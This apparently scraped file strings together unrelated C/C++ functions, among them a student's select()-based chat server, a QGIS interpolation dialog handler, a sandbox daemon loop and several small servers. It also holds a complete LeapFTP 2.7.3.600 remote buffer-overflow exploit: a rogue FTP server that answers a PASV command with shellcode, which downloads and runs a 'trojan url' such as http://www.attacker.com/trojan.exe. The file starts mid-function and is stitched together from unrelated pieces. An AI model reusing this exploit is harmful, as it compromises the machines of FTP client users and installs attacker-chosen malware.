perror ("getaddrinfo() error while getting own hostname"); exit(-1); } if ((sock = socket(result4->ai_family, result4->ai_socktype, result4->ai_protocol)) < 0) { printf ("%d\n", sock); perror("socket error while getting own hostname"); exit(-1); } /* connect to server */ if (connect(sock, result4->ai_addr, result4->ai_addrlen) < 0) { perror("connect error while getting own hostname"); close(sock); exit(-1); } /* get local socket info */ addr_len = sizeof(local_addr); if (getsockname(sock, (struct sockaddr*)&local_addr, &addr_len) < 0) { perror("getsockname while getting own hostname"); close(sock); exit(-1); } inet_ntop(local_addr.sin_family, &(local_addr.sin_addr), myip, sizeof(myip)); myport = atoi(port); struct hostent *myhe; struct in_addr myipv4addr; inet_pton(AF_INET, myip, &myipv4addr); myhe = gethostbyaddr(&myipv4addr, sizeof myipv4addr, AF_INET); strcpy(myhostname, myhe->h_name); //-------------------------------------------------------------------------------------------------------- //listen() for new connections if ((listen (listenfd, BACKLOG)) < 0) { printf ("%d\n", listenfd); perror ("listen() error"); exit(-1); } maxfdnumber = listenfd; // to put into select. initially, maxfdnumber is the socket we just got after socket() clientlistindex = -1; for (i=0; i<MAXCLIENTS; i++) { clientfdlist[i]= -1; } FD_ZERO(&masterfdset); FD_SET(listenfd, &masterfdset); //Add listenfd to the master set. FD_SET(STDINFD, &masterfdset); //add STDINFD to master //-------------------------------------------------------------------------------------------------------- while(1) { fflush(stdout); readfdset = masterfdset; ready = select (maxfdnumber+1, &readfdset, NULL, NULL, NULL); //after select() returns, if an fd in readfds is set, a read on that fd will not block //select() function concept taken from //UNIX Network Programming : Networking APIs : Sockets and XTI : Volume 1, Second Edition, // W. Richard Stevens, Prentice Hall, Oct 1997, ISBN: 013490012X //page 162 if (FD_ISSET (STDINFD, &readfdset)) //check for user input { //tokenize inputs and store in args[] argsc = 0; bzero(&args, sizeof(MAXARGS*MAXARGLENGTH)); fgets(command, MAXTOTALLENGTH, stdin); token = strtok(command, "\n "); while( token != NULL ) { strcpy(args[argsc] ,token); args[argsc][strlen(token)] = '\0'; token = strtok(NULL, "\n "); argsc++; } if (!strcmp(args[0], "CREATOR")) { printf( "Name : Harishankar Vishwanathan\n" "UBIT Name : harishan\n" "UB Email : [email protected]\n" "I have read and understood the course academic integrity policy located at\n" "http:www.cse.buffalo.edu/faculty/dimitrio/courses/cse4589_f14/index.html#integrity\n"); fflush(stdout); } else if (!strcmp(args[0], "HELP")) { printf( "CREATOR : Display name, UBIT name and UB Email\n" " of the creator of this program.\n" "MYIP : Display IP Address of this process.\n" "MYPORT : Display PORT number on which this process\n" " is listening for incoming connections.\n" "REGISTER <server_IP> <port_no> : Register with the server \n" " and obtain the Server-IP List.\n" "CONNECT <destination> <port_no> : Establish a new TCP connection to the\n" " specified <destination> at the specified\n" " <port_no>.\n" "LIST : Display list of all connections this \n" " process is a part of.\n" "UPLOAD <connection_id> <filename> : Upload <file_name> to host specified on\n" " on <connection_id>\n" "DOWNLOAD <connection_id1><file1> ...: Download a file from each specified host\n" " in the command\n" "TERMINATE <connection_id> : Terminate the connection specified by\n" " <connection_id>, obtained from the LIST\n" " command.\n" "EXIT : Close all connections and terminate the\n" " process.\n"); fflush(stdout); } else if (!strcmp(args[0], "MYIP")) { printf("IP address:%s", myip); printf("\n"); fflush(stdout); } else if (!strcmp(args[0], "MYPORT")) { printf("Port number:%d", myport); printf("\n"); fflush(stdout); } else if (!strcmp(args[0], "LIST")) { struct hostent *he; struct in_addr ipv4addr; for (k =0; k<MAXCLIENTS; k++) { if ((info[k].clientaddrlist.sin_port) == 0) { continue; } inet_ntop(AF_INET, &(info[k].clientaddrlist.sin_addr), clientip, sizeof(clientip)); inet_pton(AF_INET, clientip, &ipv4addr); he = gethostbyaddr(&ipv4addr, sizeof ipv4addr, AF_INET); clientport = ntohs(info[k].clientaddrlist.sin_port); printf("%-5d%-35s%-20s%-8d\n", k+1, he->h_name, clientip, clientport); } } else if (!strcmp(args[0], "EXIT")) { for (j=0; j<MAXCLIENTS; j++) { if (clientfdlist[j]< 0) { continue; } copyfd = clientfdlist[j]; close(copyfd); FD_CLR(copyfd, &masterfdset); //clear the entry from masterfdset clientfdlist[j] = -1; // remove from client list } close(listenfd); exit(0); } else if (!strcmp(args[0], "STATISTICS")) { printf(" STATISTICS not implemented yet\n"); } else { printf("Please enter a valid command\n"); } ready--; if (ready <= 0) { continue; } } ///checking for new clients trying to register connections by checking listenfd if (FD_ISSET (listenfd, &readfdset)) { if ( (newfd = accept(listenfd, (struct sockaddr*)&client, &len1)) < 0) { printf ("%d\n", newfd); perror ("accept error"); exit(-1); } for (i=0; i<MAXCLIENTS; i++) { if (clientfdlist[i]< 0) { clientfdlist[i]= newfd; //add descriptor to clientfdlist[] array numrecv = recv(clientfdlist[i], buffer, len1, 0); if (numrecv < 0) { //printf("Client: recv() error\n"); printf ("%d\n", numrecv); perror ("recv error"); exit(-1); } else { struct sockaddr_in temp; void *ptr = &temp; memcpy(ptr, buffer, len1); info[i].clientaddrlist = temp; } break; } } if (i == MAXCLIENTS) { printf("Too many clients. Unable to register any more clients\n"); strcpy(unablemessage.message,"Server: error: Too many clients. Unable to connect"); if (numsent = send(newfd, &unablemessage, len3, 0) <0) { printf ("%d\n",numsent); perror ("send error"); exit(-1); } continue; } if (i >clientlistindex) { clientlistindex = i; //clientlistindex++; } //add new descriptor to the masterfdset FD_SET(newfd, &masterfdset); if (newfd> maxfdnumber) { maxfdnumber = newfd; } //send new info array to connected clients. for (j=0; j<=clientlistindex; j++) { copyfd = clientfdlist[j]; if (clientfdlist[j]< 0) { continue; } else if (numsent = send(copyfd, &info, len2, 0) < 0) { printf ("%d\n", numsent); perror ("send error"); continue; } } ready--; if (ready <= 0) { continue; } } for (i=0; i <= clientlistindex; i++) //check all clients for data //for checking if client has terminated { if (clientfdlist[i]<0) { continue; } copyfd = clientfdlist[i]; if (FD_ISSET(copyfd, &readfdset)) { numrecv = recv(copyfd, buffer, len1, 0); if ( numrecv == 0) //connection closed by client, client TCP sends a FIN { printf("Connection closed by a client\n"); close(copyfd); FD_CLR(copyfd, &masterfdset); //clear the entry from masterfdset clientfdlist[i] = -1; // remove from client list bzero(&info[i].clientaddrlist, len1); for (j=0; j<=clientlistindex; j++) { copyfd = clientfdlist[j]; if (clientfdlist[j]< 0) { continue; } else if (send(copyfd, &info, len2, 0) == -1) { printf("send() error\n"); //send updated info to all clients } } } else if (numrecv < 0) { perror ("recv error"); exit(-1); } ready--; if (ready <= 0) { break; } } } } return 0; }
void QgsInterpolationDialog::on_buttonBox_accepted() { if ( !mInterpolatorDialog ) { return; } QgsRectangle outputBBox = currentBoundingBox(); if ( outputBBox.isEmpty() ) { return; } //warn the user if there isn't any input layer if ( mLayersTreeWidget->topLevelItemCount() < 1 ) { QMessageBox::information( nullptr, tr( "No input data for interpolation" ), tr( "Please add one or more input layers" ) ); return; } //read file name QString fileName = mOutputFileLineEdit->text(); QFileInfo theFileInfo( fileName ); if ( fileName.isEmpty() || !theFileInfo.dir().exists() ) { QMessageBox::information( nullptr, tr( "Output file name invalid" ), tr( "Please enter a valid output file name" ) ); return; } //add .asc suffix if the user did not provider it already QString suffix = theFileInfo.suffix(); if ( suffix.isEmpty() ) { fileName.append( ".asc" ); } int nLayers = mLayersTreeWidget->topLevelItemCount(); QList< QgsInterpolator::LayerData > inputLayerList; for ( int i = 0; i < nLayers; ++i ) { QString layerName = mLayersTreeWidget->topLevelItem( i )->text( 0 ); QgsVectorLayer* theVectorLayer = vectorLayerFromName( layerName ); if ( !theVectorLayer ) { continue; } QgsVectorDataProvider* theProvider = theVectorLayer->dataProvider(); if ( !theProvider ) { continue; } QgsInterpolator::LayerData currentLayerData; currentLayerData.vectorLayer = theVectorLayer; QString interpolationAttString = mLayersTreeWidget->topLevelItem( i )->text( 1 ); if ( interpolationAttString == "Z_COORD" ) { currentLayerData.zCoordInterpolation = true; currentLayerData.interpolationAttribute = -1; } else { currentLayerData.zCoordInterpolation = false; int attributeIndex = theProvider->fieldNameIndex( interpolationAttString ); currentLayerData.interpolationAttribute = attributeIndex; } //type (point/structure line/ breakline) QComboBox* itemCombo = qobject_cast<QComboBox *>( mLayersTreeWidget->itemWidget( mLayersTreeWidget->topLevelItem( i ), 2 ) ); if ( itemCombo ) { QString typeString = itemCombo->currentText(); if ( typeString == tr( "Break lines" ) ) { currentLayerData.mInputType = QgsInterpolator::BREAK_LINES; } else if ( typeString == tr( "Structure lines" ) ) { currentLayerData.mInputType = QgsInterpolator::STRUCTURE_LINES; } else //Points { currentLayerData.mInputType = QgsInterpolator::POINTS; } } else { currentLayerData.mInputType = QgsInterpolator::POINTS; } inputLayerList.push_back( currentLayerData ); } mInterpolatorDialog->setInputData( inputLayerList ); QgsInterpolator* theInterpolator = mInterpolatorDialog->createInterpolator(); if ( !theInterpolator ) { return; } //create grid file writer QgsGridFileWriter theWriter( theInterpolator, fileName, outputBBox, mNumberOfColumnsSpinBox->value(), mNumberOfRowsSpinBox->value(), mCellsizeXSpinBox->value(), mCellSizeYSpinBox->value() ); if ( theWriter.writeFile( true ) == 0 ) { if ( mAddResultToProjectCheckBox->isChecked() ) { mIface->addRasterLayer( fileName, QFileInfo( fileName ).baseName() ); } accept(); } delete theInterpolator; }
void createServer( void *port ) { TRACE_2( SERVER , "createServer( %d )." , *( int * )port ); int s_server = socket( AF_INET , SOCK_STREAM , 0 ); int clients[MAX_CLIENT] = { 0 }; int numClients = 0; struct sockaddr_in serv_addr; argumentReceivingThread_t *args; if( s_server < 0 ) { TRACE_ERROR( SERVER , "[-]Error to create socket."); pthread_exit( ( void * )-EINVAL ); } serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl( INADDR_ANY ); serv_addr.sin_port = htons( *( int * )port ); if( bind( s_server , ( struct sockaddr* )&serv_addr, sizeof( serv_addr ) ) < 0 ) { TRACE_ERROR( SERVER , "[-]Error to bind on port: %d." , *( int * )port ); pthread_exit( ( void * )-ENOTSOCK ); } if( listen( s_server , 10 ) < 0 ) { TRACE_ERROR( SERVER , "[-]Error to listen to 10 connection."); pthread_exit( ( void * )-ENOTSOCK ); } while( 1 ) { if( numClients < MAX_CLIENT ) { clients[numClients] = accept( s_server , NULL , NULL ); if( clients[numClients] > 0 ) { TRACE_1( SERVER , "[!]New client connected."); args = ( argumentReceivingThread_t * )zmalloc( sizeof( argumentReceivingThread_t ) ); args->socket = clients[numClients]; args->port = *( int * )port; createThread( &receivingThread , args ); numClients++; } } } releaseThread(); pthread_exit( ( void * )0 ); }
void ps_daemon_io_loop(int fd_initdata) { int fd_listen, fd_control, read_count; // open listening socket if ((fd_listen=socket(AF_UNIX, SOCK_SEQPACKET, 0)) == -1) ps_log(EXIT_FAILURE, LOG_ERROR("failed to create socket - error [%s]"), strerror(errno)); if (bind(fd_listen, (struct sockaddr *) &ps_daemon_address, sizeof(ps_daemon_address)) == -1) ps_log(EXIT_FAILURE, LOG_ERROR("failed to bind socket - error [%s]"), strerror(errno)); if (listen(fd_listen, 5) == -1) ps_log(EXIT_FAILURE, LOG_ERROR("failed to listen on socket - error [%s]"), strerror(errno)); // send ps_pid to process that ceated the daemon if (write(fd_initdata, &ps_pid, sizeof(ps_pid)) == -1) ps_log(EXIT_FAILURE, LOG_ERROR("failed to send ps_pid to controler - error [%s]"), strerror(errno)); close(fd_initdata); while (ps_daemon_run) { fd_control=accept(fd_listen, 0, 0); if (fd_control == -1) { if (errno == EINTR) continue; ps_log(EXIT_FAILURE, LOG_ERROR("failed to accept controller connection - error [%s]"), strerror(errno)); } while ((read_count = read(fd_control, ps_buffer, sizeof(ps_buffer)))) { if (read_count == -1) { if (errno == EINTR) continue; ps_log(0, LOG_INFO("controller disconnected - error [%s]"), strerror(errno)); break; } // process control messages if (ps_buffer[0] == PS_MSG_RUN_PROGRAM) { ps_daemon_run_program(fd_listen, fd_control, ps_buffer+1); break; } if (ps_buffer[0] == PS_MSG_GET_PID) { sprintf(ps_buffer+1,"%d", ps_pid); if (write(fd_control, ps_buffer, strlen(ps_buffer)+1) == -1) ps_log(0, LOG_ERROR("failed to send PID to controller - error [%s]"), strerror(errno)); break; } if (ps_buffer[0] == PS_MSG_CHANGE_WORKINGDIR) { ps_buffer[0]= PS_MSG_EXIT_STATUS; if (chdir(ps_buffer+1) == -1) { ps_log(0, LOG_ERROR("failed to change working dir to [%s] - error [%s]"), ps_buffer+1, strerror(errno)); sprintf(ps_buffer+1,"%d", EXIT_FAILURE); } else sprintf(ps_buffer+1,"%d", EXIT_SUCCESS); if (write(fd_control, ps_buffer, strlen(ps_buffer)+1) == -1) ps_log(0, LOG_ERROR("failed to send resultcode of CWD to controller - error [%s]"), strerror(errno)); break; } if (ps_buffer[0] == PS_MSG_UNSHARE_NETWORK) { ps_buffer[0] = PS_MSG_EXIT_STATUS; if (ps_daemon_network_changed) { ps_log(0, LOG_ERROR("network already unshared")); sprintf(ps_buffer+1,"%d", EXIT_FAILURE); } else { if (unshare(CLONE_NEWNET) == -1) { ps_log(0, LOG_ERROR("failed to unshare network - error [%s]"), strerror(errno)); sprintf(ps_buffer+1,"%d", EXIT_FAILURE); } else { ps_daemon_network_changed=1; sprintf(ps_buffer+1,"%d", EXIT_SUCCESS); } } if (write(fd_control, ps_buffer, strlen(ps_buffer)+1) == -1) ps_log(0, LOG_ERROR("failed to sent resultcode of UNSHARE NETWORK to controller - error [%s]"), strerror(errno)); break; } if (ps_buffer[0] == PS_MSG_UNSHARE_IPC) { ps_buffer[0] = PS_MSG_EXIT_STATUS; if (ps_daemon_ipc_changed) { ps_log(0, LOG_ERROR("ipc already unshared")); sprintf(ps_buffer+1,"%d", EXIT_FAILURE); } else { if (unshare(CLONE_NEWIPC) == -1) { ps_log(0, LOG_ERROR("failed to unshare ipc - error [%s]"), strerror(errno)); sprintf(ps_buffer+1,"%d", EXIT_FAILURE); } else { ps_daemon_ipc_changed=1; sprintf(ps_buffer+1,"%d", EXIT_SUCCESS); } } if (write(fd_control, ps_buffer, strlen(ps_buffer)+1) == -1) ps_log(0, LOG_ERROR("failed to sent resultcode of UNSHARE IPC to controller - error [%s]"), strerror(errno)); break; } if (ps_buffer[0] == PS_MSG_CHANGE_ROOTFS) { ps_buffer[0] = PS_MSG_EXIT_STATUS; sprintf(ps_buffer+1,"%d", ps_daemon_change_rootfs(ps_buffer+1)); if (write(fd_control, ps_buffer, strlen(ps_buffer)+1) == -1) ps_log(0, LOG_ERROR("failed to sent resultcode of CHROOTFS to controller - error [%s]"), strerror(errno)); break; } } close(fd_control); } }
void main(int argc, char *argv[]){ printf(",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,\n"); printf(";LeapFTP 2.7.3.600 remote buffer overflow exploit;\n"); printf("; Coded by drG4njubas \\\\ DWC Security Group ;\n"); printf("; www.dwcgr0up.net ;\n"); printf("'''''''''''''''''''''''''''''''''''''''''''''''''''\n"); if(argc < 3){ printf("USAGE : dwclft273.exe <port> <trojan url>\n"); printf("EXAMPLE : dwclft273.exe 21 http://www.attacker.com/trojan.exe\n"); return; } char exploit[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xEB\x30\x5F\xFC\x8B\xF7\x80" "\x3F\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x8B\xE6\x33\xD2\xB2\x04\xC1" "\xE2\x08\x2B\xE2\x8B\xEC\x33\xD2\xB2\x03\xC1\xE2\x08\x2B\xE2\x54\x5A\xB2\x7C\x8B" "\xE2\xEB\x02\xEB\x57\x89\x75\xFC\x33\xC0\xB4\x40\xC1\xE0\x08\x89\x45\xF8\x8B\x40" "\x3C\x03\x45\xF8\x8D\x40\x7E\x8B\x40\x02\x03\x45\xF8\x8B\xF8\x8B\x7F\x0C\x03\x7D" "\xF8\x81\x3F\x4B\x45\x52\x4E\x74\x07\x83\xC0\x14\x8B\xF8\xEB\xEB\x50\x8B\xF8\x33" "\xC9\x33\xC0\xB1\x10\x8B\x17\x03\x55\xF8\x52\xEB\x03\x57\x8B\xD7\x80\x7A\x03\x80" "\x74\x16\x8B\x32\x03\x75\xF8\x83\xC6\x02\xEB\x02\xEB\x7E\x8B\x7D\xFC\x51\xF3\xA6" "\x59\x5F\x74\x06\x40\x83\xC7\x04\xEB\xDB\x5F\x8B\x7F\x10\x03\x7D\xF8\xC1\xE0\x02" "\x03\xF8\x8B\x07\x8B\x5D\xFC\x8D\x5B\x11\x53\xFF\xD0\x89\x45\xF4\x8B\x40\x3C\x03" "\x45\xF4\x8B\x70\x78\x03\x75\xF4\x8D\x76\x1C\xAD\x03\x45\xF4\x89\x45\xF0\xAD\x03" "\x45\xF4\x89\x45\xEC\xAD\x03\x45\xF4\x89\x45\xE8\x8B\x55\xEC\x8B\x75\xFC\x8D\x76" "\x1E\x33\xDB\x33\xC9\xB1\x0F\x8B\x3A\x03\x7D\xF4\x56\x51\xF3\xA6\x59\x5E\x74\x06" "\x43\x8D\x52\x04\xEB\xED\xD1\xE3\x8B\x75\xE8\x03\xF3\x33\xC9\x66\x8B\x0E\xEB\x02" "\xEB\x7D\xC1\xE1\x02\x03\x4D\xF0\x8B\x09\x03\x4D\xF4\x89\x4D\xE4\x8B\x5D\xFC\x8D" "\x5B\x2D\x33\xC9\xB1\x07\x8D\x7D\xE0\x53\x51\x53\x8B\x55\xF4\x52\x8B\x45\xE4\xFC" "\xFF\xD0\x59\x5B\xFD\xAB\x8D\x64\x24\xF8\x38\x2B\x74\x03\x43\xEB\xF9\x43\xE2\xE1" "\x8B\x45\xE0\x53\xFC\xFF\xD0\xFD\xAB\x33\xC9\xB1\x04\x8D\x5B\x0C\xFC\x53\x51\x53" "\x8B\x55\xC4\x52\x8B\x45\xE4\xFF\xD0\x59\x5B\xFD\xAB\x38\x2B\x74\x03\x43\xEB\xF9" "\x43\xE2\xE5\xFC\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\x52\x8B\x45\xD4\xFF\xD0" "\x89\x45\xB0\x33\xD2\xEB\x02\xEB\x77\x52\x52\x52\x52\x53\x8B\x45\xC0\xFF\xD0\x8D" "\x5B\x03\x89\x45\xAC\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52\x52\x8D\x7B" "\x09\x57\x50\x8B\x45\xBC\xFF\xD0\x89\x45\xA8\x8D\x55\xA0\x52\x33\xD2\xB6\x1F\xC1" "\xE2\x08\x52\x8B\x4D\xB0\x51\x50\x8B\x45\xB8\xFF\xD0\x8B\x4D\xA8\x51\x8B\x45\xB4" "\xFF\xD0\x8B\x4D\xAC\x51\x8B\x45\xB4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xDC\xFF\xD0" "\x89\x45\xA4\x8B\x7D\xA0\x57\x8B\x55\xB0\x52\x50\x8B\x45\xD8\xFF\xD0\x8B\x55\xA4" "\x52\x8B\x45\xD0\xFF\xD0\xEB\x02\xEB\x12\x33\xD2\x90\x52\x53\x8B\x45\xCC\xFF\xD0" "\x33\xD2\x52\x8B\x45\xC8\xFF\xD0\xE8\xE6\xFD\xFF\xFF\x47\x65\x74\x4D\x6F\x64\x75" "\x6C\x65\x48\x61\x6E\x64\x6C\x65\x41\x08\x6B\x65\x72\x6E\x65\x6C\x33\x32\x2d\x64" "\x6C\x6C\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x4C\x6F" "\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x08\x5F\x6C\x63\x72\x65\x61\x74\x08\x5F" "\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61\x6C\x41\x6C\x6C\x6F\x63\x08\x5F" "\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78\x65\x63\x08\x45\x78\x69\x74\x50" "\x72\x6F\x63\x65\x73\x73\x08\x77\x69\x6E\x69\x6E\x65\x74\x2d\x64\x6C\x6C\x08\x49" "\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65" "\x74\x4F\x70\x65\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65" "\x61\x64\x46\x69\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65" "\x48\x61\x6E\x64\x6C\x65\x08\x4E\x53\x08\x6E\x73\x73\x63\x2d\x65\x78\x65\x08\x68" "\x74\x74\x70\x3A\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93" "\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93" "\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93" "\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93" "\x93\x93\x93\x93\x93\x93\x93\x93\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x25\x49\xE1" "\x77\x90\x90\x90\x90\xFE\x83\x75\xFE\xFF\xFF\xFE\x83\xD5\xFE\xFF\xFF\xFE\x83\x25" "\xFF\xFF\xFF\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x80\xAB\x2F\xFF\xFF\xFF\x03\x80\xAB\x30\xFF\xFF\xFF\x03\x80\xAB\x31\xFF\xFF\xFF" "\x03\x80\xAB\x32\xFF\xFF\xFF\x03\x80\xAB\x33\xFF\xFF\xFF\x03\x80\xAB\x34\xFF\xFF" "\xFF\x03\x80\xAB\x35\xFF\xFF\xFF\x03\x80\xAB\x36\xFF\xFF\xFF\x03\x80\xAB\x37\xFF" "\xFF\xFF\x03\x80\xAB\x38\xFF\xFF\xFF\x03\x80\xAB\x39\xFF\xFF\xFF\x03\x80\xAB\x3A" "\xFF\xFF\xFF\x03\x80\xAB\x3B\xFF\xFF\xFF\x03\x80\xAB\x3C\xFF\xFF\xFF\x03\x80\xAB" "\x3D\xFF\xFF\xFF\x03\x80\xAB\x3E\xFF\xFF\xFF\x03\x80\xAB\x3F\xFF\xFF\xFF\x03\x80" "\xAB\x40\xFF\xFF\xFF\x03\x80\xAB\x41\xFF\xFF\xFF\x03\x80\xAB\x42\xFF\xFF\xFF\x03" "\x80\xAB\x43\xFF\xFF\xFF\x03\x80\xAB\x44\xFF\xFF\xFF\x03\x80\xAB\x45\xFF\xFF\xFF" "\x03\x80\xAB\x46\xFF\xFF\xFF\x03\x80\xAB\x47\xFF\xFF\xFF\x03\x80\xAB\x48\xFF\xFF" "\xFF\x03\x80\xAB\x49\xFF\xFF\xFF\x03\x80\xAB\x4A\xFF\xFF\xFF\x03\x80\xAB\x4B\xFF" "\xFF\xFF\x03\x80\xAB\x4C\xFF\xFF\xFF\x03\x80\xAB\x4D\xFF\xFF\xFF\x03\x80\xAB\x4E" "\xFF\xFF\xFF\x03\x80\xAB\x4F\xFF\xFF\xFF\x03\x80\xAB\x50\xFF\xFF\xFF\x03\x80\xAB" "\x51\xFF\xFF\xFF\x03\x80\xAB\x52\xFF\xFF\xFF\x03\x80\xAB\x53\xFF\xFF\xFF\x03\x80" "\xAB\x54\xFF\xFF\xFF\x03\x80\xAB\x55\xFF\xFF\xFF\x03\x80\xAB\x56\xFF\xFF\xFF\x03" "\x80\xAB\x57\xFF\xFF\xFF\x03\x80\xAB\x58\xFF\xFF\xFF\x03\x80\xAB\x59\xFF\xFF\xFF" "\x03\x80\xAB\x5A\xFF\xFF\xFF\x03\x80\xAB\x5B\xFF\xFF\xFF\x03\x80\xAB\x5C\xFF\xFF" "\xFF\x03\x80\xAB\x5D\xFF\xFF\xFF\x03\x80\xAB\x5E\xFF\xFF\xFF\x03\x80\xAB\x5F\xFF" "\xFF\xFF\x03\x80\xAB\x60\xFF\xFF\xFF\x03\x80\xAB\x61\xFF\xFF\xFF\x03\x80\xAB\x62" "\xFF\xFF\xFF\x03\x80\xAB\x63\xFF\xFF\xFF\x03\x80\xAB\x64\xFF\xFF\xFF\x03\x80\xAB" "\x65\xFF\xFF\xFF\x03\x80\xAB\x66\xFF\xFF\xFF\x03\x80\xAB\x67\xFF\xFF\xFF\x03\x80" "\xAB\x68\xFF\xFF\xFF\x03\x80\xAB\x69\xFF\xFF\xFF\x03\x80\xAB\x6A\xFF\xFF\xFF\x03" "\x80\xAB\x6B\xFF\xFF\xFF\x03\x80\xAB\x6C\xFF\xFF\xFF\x03\x80\xAB\x6D\xFF\xFF\xFF" "\x03\x80\xAB\x6E\xFF\xFF\xFF\x03\x80\xAB\x6F\xFF\xFF\xFF\x03\x80\xAB\x70\xFF\xFF" "\xFF\x03\x80\xAB\x71\xFF\xFF\xFF\x03\x80\xAB\x72\xFF\xFF\xFF\x03\x80\xAB\x73\xFF" "\xFF\xFF\x03\x80\xAB\x74\xFF\xFF\xFF\x03\x80\xAB\x75\xFF\xFF\xFF\x03\x80\xAB\x76" "\xFF\xFF\xFF\x03\x80\xAB\x77\xFF\xFF\xFF\x03\x80\xAB\x78\xFF\xFF\xFF\x03\x80\xAB" "\x79\xFF\xFF\xFF\x03\x80\xAB\x7A\xFF\xFF\xFF\x03\x80\xAB\x7B\xFF\xFF\xFF\x03\x80" "\xAB\x7C\xFF\xFF\xFF\x03\x80\xAB\x7D\xFF\xFF\xFF\x03\x80\xAB\x7E\xFF\xFF\xFF\x03" "\x80\xAB\x7F\xFF\xFF\xFF\x03\x80\x6B\x80\x03\x80\x6B\x81\x03\x80\x6B\x82\x03\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xE9\x61\xF9\xFF\xFF"; char *url = argv[2]; if(strlen(url)>80){ printf("ERROR: trojan url is too long!\n"); return; } for(unsigned int i = 5; i < strlen(url); i++){ url[i]+=3; exploit[839+i] = url[i]; } exploit[839+i] = '\x0B'; exploit[839+i+1] = '\x04'; WSADATA wsaData; WSAStartup(MAKEWORD(2,2), &wsaData); SOCKET listen_Sock = socket(AF_INET,SOCK_STREAM,0); SOCKADDR_IN addr_Sock; addr_Sock.sin_family = AF_INET; addr_Sock.sin_addr.s_addr = htonl(INADDR_ANY); addr_Sock.sin_port = htons(atoi(argv[1])); printf("Awaiting for connections...\n"); if(bind(listen_Sock,(LPSOCKADDR)&addr_Sock, sizeof(struct sockaddr))) return; if(listen(listen_Sock, 1))return; SOCKET victim = accept(listen_Sock,NULL,NULL); printf("Victim connected...\n"); char buffer[2048]; sprintf(buffer, "220 drG4njubas roxx da world...\r\n"); send(victim, buffer, strlen(buffer), NULL); while(true){ if(recv(victim, buffer, 2048, NULL)==SOCKET_ERROR)return; if(strncmp(buffer, "USER", 4)==0){ sprintf(buffer, "%s\r\n", "331 Password required for user."); send(victim, buffer, strlen(buffer), NULL); } else if(strncmp(buffer, "PASS", 4)==0){ sprintf(buffer, "%s\r\n", "230 User logged in."); send(victim, buffer, strlen(buffer), NULL); } else if(strncmp(buffer, "SYST", 4)==0){ sprintf(buffer, "%s\r\n", "215 Windows_NT version 5.0"); send(victim, buffer, strlen(buffer), NULL); } else if(strncmp(buffer, "REST", 4)==0){ sprintf(buffer, "%s\r\n", "350 Restarting at blah."); send(victim, buffer, strlen(buffer), NULL); } else if(strncmp(buffer, "PWD", 3)==0){ sprintf(buffer, "%s\r\n", "257 Current directory was changed."); send(victim, buffer, strlen(buffer), NULL); } else if(strncmp(buffer, "TYPE", 4)==0){ sprintf(buffer, "%s\r\n", "200 Type set to blah."); send(victim, buffer, strlen(buffer), NULL); } else if(strncmp(buffer, "PASV", 4)==0){ printf("PASV command received, sending exploit..."); sprintf(buffer, "227 (%s,1,1,1,1,1)\r\n", exploit); send(victim, buffer, strlen(buffer), NULL); printf("finnished.\n"); break; } else{ printf("ERROR: Wrong client or pasv mode is not enabled.\n"); break; } } closesocket(victim); closesocket(listen_Sock); WSACleanup(); }
void QRZRegisterDialog::handleRegistered(HAMConnection *connection) { accept(); }
